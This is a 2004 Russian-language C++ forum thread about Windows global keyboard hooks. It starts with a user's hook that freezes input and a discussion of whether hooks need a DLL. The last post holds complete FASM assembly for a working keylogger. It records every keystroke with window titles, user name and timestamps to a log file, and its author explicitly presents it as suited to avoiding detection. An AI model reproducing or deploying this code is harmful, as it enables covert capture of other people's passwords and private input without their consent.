Модераторы: Daevaorn
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Непонятности с глобальным хуком клавы! 
:(
    Опции темы
Manve
Дата 27.8.2004, 18:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 84
Регистрация: 30.7.2004

Репутация: нет
Всего: 1



Как-то давно Oleg1973 предложил вариант глобального хука клавы ( http://forum.vingrad.ru/index.php?showtopic=27143 ). Я его перевел на С++ и, в результате после запуска программы, у меня винда перестает реагировать на нажатия клавиш, а при движении мыши пс спикер разрывается жалобным писком. sad.gif Причем это все продолжается до тех пор пока не закроется приложение. sad.gif Как это поправить?
Вот код:
Код
LRESULT CALLBACK hook_proc( int nCode,WPARAM wParam,LPARAM lParam)
{
MessageBox(0,"Hi","Hi",MB_OK);
return 0;
}

DWORD CALLBACK WinMainTread(void *a)
{
MSG msg;
HMODULE hModule;
hModule = GetModuleHandle(0);
HHOOK hhk;

hhk = SetWindowsHookEx(13,hook_proc,hModule,0);
while (1)
{
 GetMessage(&msg,NULL,0,0);
 TranslateMessage(&msg);
 DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhk);
return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
DWORD lpThreadID = 0;

CreateThread(0,0,WinMainTread,0,0,&lpThreadID);
Sleep(5000);

return 0;
}


P.S. Винда у меня WinXP бех всяких сервис паков. И еще: если я запускаю эту прогу на VMware то там все работает нормально.

PM   Вверх
Олег М
Дата 27.8.2004, 18:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 436
Регистрация: 10.6.2004
Где: Москва

Репутация: 7
Всего: 7



Так, глобальные хуки вроде только в ДЛЛках работают. А у тебя, насколько я понимаю, ехешник.
PM MAIL ICQ   Вверх
Manve
Дата 27.8.2004, 18:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 84
Регистрация: 30.7.2004

Репутация: нет
Всего: 1



Нет мона и в ехешнике, читай http://forum.vingrad.ru/index.php?showtopic=27143
PM   Вверх
S.A.P.
Дата 27.8.2004, 18:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 2664
Регистрация: 11.6.2004

Репутация: 9
Всего: 71



Manve у тебя какая винда стоит? У меня на 98 не пошло.

PM MAIL   Вверх
Олег М
Дата 27.8.2004, 18:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 436
Регистрация: 10.6.2004
Где: Москва

Репутация: 7
Всего: 7



Цитата(Manve @ 27.8.2004, 21:34)
Нет мона и в ехешнике, читай http://forum.vingrad.ru/index.php?showtopic=27143

Ну почитал - там вроде про извращения говорится. А по-нормальному если - то в ДЛЛ. Вот в МСДНе написано
Цитата

You must place a global hook procedure in a DLL separate from the application installing the hook procedure.

Ещё здесь http://www.sources.ru/cpp/tips/system_wide_hook.shtml
PM MAIL ICQ   Вверх
Manve
Дата 27.8.2004, 18:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 84
Регистрация: 30.7.2004

Репутация: нет
Всего: 1



WinXp без сервис паков и патчей
Добавлено @ 18:46
Олег М Ничего в этом извращенного нету. А что если задача такая что необходимо только один экзешник?


PM   Вверх
oleg1973
Дата 27.8.2004, 19:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 1
Всего: 34



Manve
а где у тебя ехпорт hook_proc ?
Олег М
все вполне легально насчет хука бех длл
с точки зрения вындоса dll и exe одинаковые файлы
только расщирение разное


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
Manve
Дата 27.8.2004, 19:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 84
Регистрация: 30.7.2004

Репутация: нет
Всего: 1



Цитата
а где у тебя ехпорт hook_proc ?

Он и без него пашет нормально, кстати у твоей проги тот же эфект что и у моей smile.gif
Добавлено @ 19:36
Зделал экспорт - все равно теже глюки
PM   Вверх
Олег М
Дата 29.8.2004, 10:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 436
Регистрация: 10.6.2004
Где: Москва

Репутация: 7
Всего: 7



Цитата(Manve @ 27.8.2004, 21:44)
Олег М Ничего в этом извращенного нету. А что если задача такая что необходимо только один экзешник?

А зачем? Если механизм работы глобальных хуков, насколько я понимаю, состоит в том, что винда подгружает ДЛЛку с хуком к каждому процессу. В чём выгода от того, что функция будет находится в ехешнике?
oleg1973, я так и не въехал для чего это надо.

PM MAIL ICQ   Вверх
oleg1973
Дата 29.8.2004, 12:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 1
Всего: 34



при установке хука винда мапит в пространство процесса файл в котором находится непосредственно процедура, по теории это должна быть длл, но так как формат файла РЕ, одинаков как для длл так и для ехе, то виндосу становится пофигу что грузить, можно сделать файл который будет работать как ехе, а если переименовать то станет как длл,и все опять же легально выглядит для вындос загрузчика файлов
для углубленного понимания процесса загрузки файлов рекомендую поковырять или найти сорцы ntdll
Олег М
а необходимость иметь кейлог в ехе smile.gif для меньшего палева smile.gif
в моем KGB Radmin так и сделано


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
Manve
Дата 29.8.2004, 18:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 84
Регистрация: 30.7.2004

Репутация: нет
Всего: 1



Выше описаная проблема была решена следующим образом: надо было просто убрать MessageBox, да и вообще нельзя было что бы функция hock_proc ожидала действий от пользователя. Например MessageBox ждет от пользователя пока он нажмет кнопку окей и соответственно останавливается весь цикл обработки сообщений от клавы и мышки в системе. И следовательно нажать кнопку окей не выдет. Во как.

P.S. Это всего лишь мои предположения
PM   Вверх
oleg1973
Дата 29.8.2004, 18:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 1
Всего: 34



вот 100% рабочий код
пищет в файл лог

Код
format PE;GUI 4.0
entry start

include '%fasminc%\win32a.inc'

section 'someshit' code readable executable
start:
invoke GetCurrentDirectory,1024,dir
invoke CreateThread,0,0,myshit,0,0,[tid]
mov [thdr],eax
invoke WaitForSingleObject,[thdr],0xffffffff
invoke ExitProcess,0
myshit:
invoke GetModuleHandle,0
invoke SetWindowsHookEx,WH_KEYBOARD_LL,KeyboardProc,eax,0
mov [khookhdr],eax
msg_loop:
invoke GetMessage,msg,NULL,0,0
or eax,eax
jz end_loop
invoke TranslateMessage,msg
invoke DispatchMessage,msg
jmp msg_loop
end_loop:
invoke UnhookWindowsHookEx,[khookhdr]
ret

proc KeyboardProc,code,wParam,lParam
    enter

    cmp [code],HC_ACTION
    jne .next
    cmp [wParam],WM_KEYDOWN
    jne .next
    invoke SetCurrentDirectory,dir
    invoke GetForegroundWindow
    cmp [cwin],eax
    je .next1

    mov [cwin],eax
    invoke CreateFile,fnome,GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov [fhdr],eax
    invoke SetFilePointer,[fhdr],0,0,FILE_END

    invoke WriteFile,[fhdr],lwin,15,shit,0
    invoke GetLocalTime,stime
    movzx eax,word[stime.wDay]
    mov bl,'/'
    call hta
    movzx eax,word[stime.wMonth]
    mov bl,'/'
    call hta
    movzx eax,word[stime.wYear]
    mov bl,' '
    call hta
    invoke WriteFile,[fhdr],ltime,11,shit,0
    movzx eax,word[stime.wHour]
    mov bl,'.'
    call hta
    movzx eax,word[stime.wMinute]
    mov bl,'.'
    call hta
    movzx eax,word[stime.wSecond]
    mov bl,' '
    call hta
    invoke WriteFile,[fhdr],usr,7,shit,0
    call clearb
    mov [shit],dword 1024
    invoke GetUserName,wtext,shit
    mov eax,[shit]
    dec eax
    invoke WriteFile,[fhdr],wtext,eax,shit,0
    invoke WriteFile,[fhdr],rwin,4,shit,0
    invoke WriteFile,[fhdr],wtit,16,shit,0
    invoke GetForegroundWindow
    push eax
    invoke GetWindowTextLength,eax
    xchg [esp],eax
    invoke GetWindowText,eax,wtext,1024
    pop eax
    invoke WriteFile,[fhdr],wtext,eax,shit,0
    invoke WriteFile,[fhdr],rwin,4,shit,0
    invoke CloseHandle,[fhdr]

.next1:
    invoke CreateFile,fnome,GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov [fhdr],eax
    invoke SetFilePointer,[fhdr],0,0,FILE_END
    invoke GetKeyboardState,vkey
    mov eax,[lParam]
    invoke ToAscii,[eax],[eax+4],vkey,kbuff,0
    invoke WriteFile,[fhdr],kbuff,1,shit,0
    invoke CloseHandle,[fhdr]

.next:
    invoke CallNextHookEx,[khookhdr],[code],[wParam],[lParam]
    return

hta:
push eax
call clearb
pop eax
cinvoke wsprintf,wtext,form,eax
invoke lstrlen,wtext
mov [eax+wtext],byte bl
inc eax
invoke WriteFile,[fhdr],wtext,eax,shit,0
ret

clearb:
xor eax,eax
mov edi,wtext
mov ecx,1024
repnz stosb
ret
endp

section 'lamerdie' data readable writeable

lwin:
db 13,10,'< LocalData: '
ltime:
db 'LocalTime: '
usr:
db ' User: '
wtit:
db '< Window title: '
rwin:
db ' >',0dh,0ah

fnome:
db 'log.log',0
crlf:
db 0x0d,0x0a
form:
db '%d',0
shit:
dd ?
thdr:
dd ?
tid:
dd ?
khookhdr:
dd ?
fhdr:
dd ?
cwin:
dd ?
scan:
dd ?
kbuff:
dd ?
dir:
times 1024 db ?
wtext:
times 1024 db ?
vkey:
times 256 db ?

msg MSG
stime SYSTEMTIME

section 'fuckoff' export data readable
export 'main.exe',\
 KeyboardProc,'KeyboardProct'

include '%fasminc%\api.inc'

section '.reloc' fixups data discardable



--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С++:Общие вопросы"
Earnest Daevaorn

Добро пожаловать!

  • Черновик стандарта C++ (за октябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика(4.4мб).
  • Черновик стандарта C (за сентябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика (3.4мб).
  • Прежде чем задать вопрос, прочтите это и/или это!
  • Здесь хранится весь мировой запас ссылок на документы, связанные с C++ :)
  • Не брезгуйте пользоваться тегами [code=cpp][/code].
  • Пожалуйста, не просите написать за вас программы в этом разделе - для этого существует "Центр Помощи".
  • C++ FAQ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Earnest Daevaorn

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0576 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.